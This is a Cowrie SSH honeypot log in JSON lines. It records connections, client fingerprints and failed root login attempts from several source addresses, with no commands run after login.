{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:40.778078Z","src_ip":"61.222.211.114","session":"b53d9b55bfbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:40.982626Z","src_ip":"61.222.211.114","session":"b53d9b55bfbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hke","message":"login attempt [root/hke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:41.837031Z","src_ip":"61.222.211.114","session":"b53d9b55bfbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:43.045338Z","src_ip":"61.222.211.114","session":"b53d9b55bfbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:43.757941Z","src_ip":"47.86.95.62","session":"09a46046ef90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":47062,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f3d50ac7924","protocol":"ssh","message":"New connection: 118.26.36.248:47062 (159.203.135.109:22) [session: 7f3d50ac7924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:08.614031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:08.619365Z","src_ip":"118.26.36.248","session":"7f3d50ac7924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:08.843410Z","src_ip":"118.26.36.248","session":"7f3d50ac7924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jjj123","message":"login attempt [root/jjj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:09.755913Z","src_ip":"118.26.36.248","session":"7f3d50ac7924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:10.979461Z","src_ip":"118.26.36.248","session":"7f3d50ac7924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":34262,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d6e49f2aa20","protocol":"ssh","message":"New connection: 167.114.156.169:34262 (10.17.0.5:22) [session: 1d6e49f2aa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.729788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.734645Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.755272Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:2b:6c:98:14:06:19:3d:d4:6c:ae:ad:7a:ba:c1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrVT5fuO4Eg84tEvRqmaSgzfU7nUUiCrfNoaMJJdo9Y0a8P/qMLn4wcaPBxi2WUVulShnkRANjDvXvZFctQDN2pxkpiOlfN4Qj6iKY2ne573QUEdKnBP5a/NiqrRnbheYTRT0Fn+Ep9dtnygvJKtlqYZ9726AeyErIt+xtOQbRBL7FAFJqZhZeMNgzafVDm6Jh+AydrZvjPQYeZhLz2xysjDIt2VNDDiepdlQkA8lkGijqMg/eb4EGjJuIUeNoEl3907n0S9QJabcyN0ieO/ghlj20WZ0UoLX0D77AFotdFvCisZ09rgc6z1gipaA552sU+ijhNPixxCB+HlKKwdr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:2b:6c:98:14:06:19:3d:d4:6c:ae:ad:7a:ba:c1:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.837337Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:2b:6c:98:14:06:19:3d:d4:6c:ae:ad:7a:ba:c1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrVT5fuO4Eg84tEvRqmaSgzfU7nUUiCrfNoaMJJdo9Y0a8P/qMLn4wcaPBxi2WUVulShnkRANjDvXvZFctQDN2pxkpiOlfN4Qj6iKY2ne573QUEdKnBP5a/NiqrRnbheYTRT0Fn+Ep9dtnygvJKtlqYZ9726AeyErIt+xtOQbRBL7FAFJqZhZeMNgzafVDm6Jh+AydrZvjPQYeZhLz2xysjDIt2VNDDiepdlQkA8lkGijqMg/eb4EGjJuIUeNoEl3907n0S9QJabcyN0ieO/ghlj20WZ0UoLX0D77AFotdFvCisZ09rgc6z1gipaA552sU+ijhNPixxCB+HlKKwdr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.841840Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:85:85:b8:0f:02:65:5b:b4:7d:fd:47:09:84:ed:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOQ+S2tro6buqHcuBUhAalAgIAkl5L5ryWcyDJYGCgH89B4dp5KismB7vY9B0PIeIQChQQ2u6sSVhrhN8T4CwhKsLRQzMKWPvPZouWnNk0As/cbDghVROzAMwzrPSLs3FskmrIgbavoCaZYmLxaDIMMbVAdGq3Wi4PXlKWDJD4jBUrn5QAzmBEhKb2+5kzEGd4m1otjJWCaiTAF1iWUToKA43fqGy+SQtTgb8xaZgUsVKLKlqBXsebQZbxd30fcmSRWT44/S4yfPFH4ETeLhoB2uuXTG38fHOYKqmKDxxiCDLgrZSA20VzDlUi8quHTprCBFjU+Ph9S6Zqe6nMl5IKm2W2cKawkNujmix7rW2Z6953SIuRIb0yRdcCQ2vg2BwBITRJPHEtA8hVLoOKmsUrhn8/Nhib93Y5HCJ4fN7+5S56x0gqwHSjtU9EPel9aW4yu5xv+EsuMHGczu8JoI7BIN1VdkFY3w+dlaIcKtJ18exFmKPSuLUQazX3/dhBeCf4zo2Ci9Gyjo3CTp5kziky3IE1R34JxPfPie89cjtAy0pJDyN5x9wyOVhjIUCgnw/f1PF1XHUiWvQUTY1WYmGcCCmOg0vjVvSVCoSEOwNJxRSa0f/hEpLGF3WWW3DOGhIEAH0ZpVPP1S1eX+RctUHBp/XxnvHLenpcxirHUrs1WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:85:85:b8:0f:02:65:5b:b4:7d:fd:47:09:84:ed:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.866730Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:85:85:b8:0f:02:65:5b:b4:7d:fd:47:09:84:ed:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOQ+S2tro6buqHcuBUhAalAgIAkl5L5ryWcyDJYGCgH89B4dp5KismB7vY9B0PIeIQChQQ2u6sSVhrhN8T4CwhKsLRQzMKWPvPZouWnNk0As/cbDghVROzAMwzrPSLs3FskmrIgbavoCaZYmLxaDIMMbVAdGq3Wi4PXlKWDJD4jBUrn5QAzmBEhKb2+5kzEGd4m1otjJWCaiTAF1iWUToKA43fqGy+SQtTgb8xaZgUsVKLKlqBXsebQZbxd30fcmSRWT44/S4yfPFH4ETeLhoB2uuXTG38fHOYKqmKDxxiCDLgrZSA20VzDlUi8quHTprCBFjU+Ph9S6Zqe6nMl5IKm2W2cKawkNujmix7rW2Z6953SIuRIb0yRdcCQ2vg2BwBITRJPHEtA8hVLoOKmsUrhn8/Nhib93Y5HCJ4fN7+5S56x0gqwHSjtU9EPel9aW4yu5xv+EsuMHGczu8JoI7BIN1VdkFY3w+dlaIcKtJ18exFmKPSuLUQazX3/dhBeCf4zo2Ci9Gyjo3CTp5kziky3IE1R34JxPfPie89cjtAy0pJDyN5x9wyOVhjIUCgnw/f1PF1XHUiWvQUTY1WYmGcCCmOg0vjVvSVCoSEOwNJxRSa0f/hEpLGF3WWW3DOGhIEAH0ZpVPP1S1eX+RctUHBp/XxnvHLenpcxirHUrs1WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.871516Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:b7:73:1c:1e:47:2d:3e:0f:5c:4f:45:24:68:6d:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqPCqSuZ+C7ApKiwrIY42saikHBgnLt93IX5BxGH52/Ahm1qMVFInSYByXqBeyeVE00GWjxu0cRLHWuqGYpqu8Bx0WguzNOx/WvPMHXqGxVeA7xOyBQFvCEI1PMlmAcoTFSG5tc4++mPZjJABhyGAvZ+w/ibzoXXyfRl48qGVJy3y8dXjnP1Z7hVF9V5aFtF/1bJHmMdZlXOS3p51kNR8zFXsJt2f0AatIVXrMLWkOrpDX3ms5QIqK0wyapfPfzy8j5XOxBowlHsNveuBhjt9XTdQrs6jKSBKOAuIkS9MozmRLawVTHZiv9kysD2dJ1lIkl0jKcWCcPIFDY4rQnJlLue366IrahAUP4xLzq7wae7Ap8fjSbF1ZCBeFyD7iBPu6rnuVi8Cq5Ok+W2p2Bb8pMni/y+Rzw+vZHhjAD2MYtlW/O3aUi/yuobM7unMY3WbdgWp90YXotsQBLRYMjtDoVk2phlAe9sX8Z11t6L+/Vd6xpf8KVfXeJpKgdG5/nnPdDy65/+TKzYvqzJEx5hkfBv12prTd7+uLLO5NTm6siFEAWxRdS8pCRsxM3TZxc3g4rxScBDX0ytwi1cjK/huTG4Yxf/TkA+RYiji3RFvmArHxLgg1GFlp7x5lRib9W6Cl4qgOWPxoLoOLCCiyKKThmo0IxNg5m59wXwbhBafJjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:b7:73:1c:1e:47:2d:3e:0f:5c:4f:45:24:68:6d:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.894047Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:b7:73:1c:1e:47:2d:3e:0f:5c:4f:45:24:68:6d:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqPCqSuZ+C7ApKiwrIY42saikHBgnLt93IX5BxGH52/Ahm1qMVFInSYByXqBeyeVE00GWjxu0cRLHWuqGYpqu8Bx0WguzNOx/WvPMHXqGxVeA7xOyBQFvCEI1PMlmAcoTFSG5tc4++mPZjJABhyGAvZ+w/ibzoXXyfRl48qGVJy3y8dXjnP1Z7hVF9V5aFtF/1bJHmMdZlXOS3p51kNR8zFXsJt2f0AatIVXrMLWkOrpDX3ms5QIqK0wyapfPfzy8j5XOxBowlHsNveuBhjt9XTdQrs6jKSBKOAuIkS9MozmRLawVTHZiv9kysD2dJ1lIkl0jKcWCcPIFDY4rQnJlLue366IrahAUP4xLzq7wae7Ap8fjSbF1ZCBeFyD7iBPu6rnuVi8Cq5Ok+W2p2Bb8pMni/y+Rzw+vZHhjAD2MYtlW/O3aUi/yuobM7unMY3WbdgWp90YXotsQBLRYMjtDoVk2phlAe9sX8Z11t6L+/Vd6xpf8KVfXeJpKgdG5/nnPdDy65/+TKzYvqzJEx5hkfBv12prTd7+uLLO5NTm6siFEAWxRdS8pCRsxM3TZxc3g4rxScBDX0ytwi1cjK/huTG4Yxf/TkA+RYiji3RFvmArHxLgg1GFlp7x5lRib9W6Cl4qgOWPxoLoOLCCiyKKThmo0IxNg5m59wXwbhBafJjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.898244Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:7d:ff:c1:41:cb:46:1b:ce:a5:f2:fe:d1:5b:70:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdWTCn1QaQanXBj+bmvNPg5Yz7ivdCq/fqV0M3ldBy3cK48l3uSpkTGGw2R9zjS2uiVlHOGBbsbdK3Wb2kZ6ib4MeBKZYlChlRMkMDZUFkr+cJMXYaCHmqedA8qiOfYVcu5pgK/QZgeVDSoCcdWnpSAA2R6U+xLl/g1veMfhA0PDiB7dgRY1ummuebXxDIZgJpK6B5Ycaz5za9pnjyyNxQSrSbwTi8zXM/vuhJYsrYPI8Vy5wgCldWS3ZI16WZcPVTYC2YVvIhyrmex9cBPtb2D5z8QMwZQBrwNqW4rYR4zh871OQrPdggjMtGmonUpaHSnG0Chm+oX9EyXwsf5tcb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:7d:ff:c1:41:cb:46:1b:ce:a5:f2:fe:d1:5b:70:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.919944Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:7d:ff:c1:41:cb:46:1b:ce:a5:f2:fe:d1:5b:70:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdWTCn1QaQanXBj+bmvNPg5Yz7ivdCq/fqV0M3ldBy3cK48l3uSpkTGGw2R9zjS2uiVlHOGBbsbdK3Wb2kZ6ib4MeBKZYlChlRMkMDZUFkr+cJMXYaCHmqedA8qiOfYVcu5pgK/QZgeVDSoCcdWnpSAA2R6U+xLl/g1veMfhA0PDiB7dgRY1ummuebXxDIZgJpK6B5Ycaz5za9pnjyyNxQSrSbwTi8zXM/vuhJYsrYPI8Vy5wgCldWS3ZI16WZcPVTYC2YVvIhyrmex9cBPtb2D5z8QMwZQBrwNqW4rYR4zh871OQrPdggjMtGmonUpaHSnG0Chm+oX9EyXwsf5tcb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.924294Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:f2:a8:8e:19:f2:26:2d:1f:a7:99:77:6b:67:02:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQa2G9O7ekE2KBGUTtolcegNjA6hU6JteUaWLYeVfMVFOYe/xsKBcLe9xw0V5EYvHHhknxsSoQ6An55P99iioGTMpaH2DjI1z9Ub6KJH34wIaVUKYeI56rMYm6kKNIC1uA+mPFTpqEK1HTo/g9EO8mwOB9qPmdQGkqDoTu8BoNp20abbd7NMlAkzrODs7KcGxlteDFOYv5LIikaDJe8ToAO4QccIty7yAKO3msvbMOvYu57PgNaSErw+G4oAnh4NvVefvAa2E3gyFjGh6TFXj3TJGCpB7lkkaUHj/EtZerBEZLcwBji2gzhOjBpBpFnw9psLqEYutivVE8XbEERk5R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:f2:a8:8e:19:f2:26:2d:1f:a7:99:77:6b:67:02:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.948622Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:f2:a8:8e:19:f2:26:2d:1f:a7:99:77:6b:67:02:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQa2G9O7ekE2KBGUTtolcegNjA6hU6JteUaWLYeVfMVFOYe/xsKBcLe9xw0V5EYvHHhknxsSoQ6An55P99iioGTMpaH2DjI1z9Ub6KJH34wIaVUKYeI56rMYm6kKNIC1uA+mPFTpqEK1HTo/g9EO8mwOB9qPmdQGkqDoTu8BoNp20abbd7NMlAkzrODs7KcGxlteDFOYv5LIikaDJe8ToAO4QccIty7yAKO3msvbMOvYu57PgNaSErw+G4oAnh4NvVefvAa2E3gyFjGh6TFXj3TJGCpB7lkkaUHj/EtZerBEZLcwBji2gzhOjBpBpFnw9psLqEYutivVE8XbEERk5R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.954830Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:15.978606Z","src_ip":"167.114.156.169","session":"1d6e49f2aa20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":51848,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e043061ff3","protocol":"ssh","message":"New connection: 31.59.89.180:51848 (159.203.135.109:22) [session: 91e043061ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:24.472594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:24.476928Z","src_ip":"31.59.89.180","session":"91e043061ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:21:24.589335Z","src_ip":"31.59.89.180","session":"91e043061ff3","protocol":"ssh"}
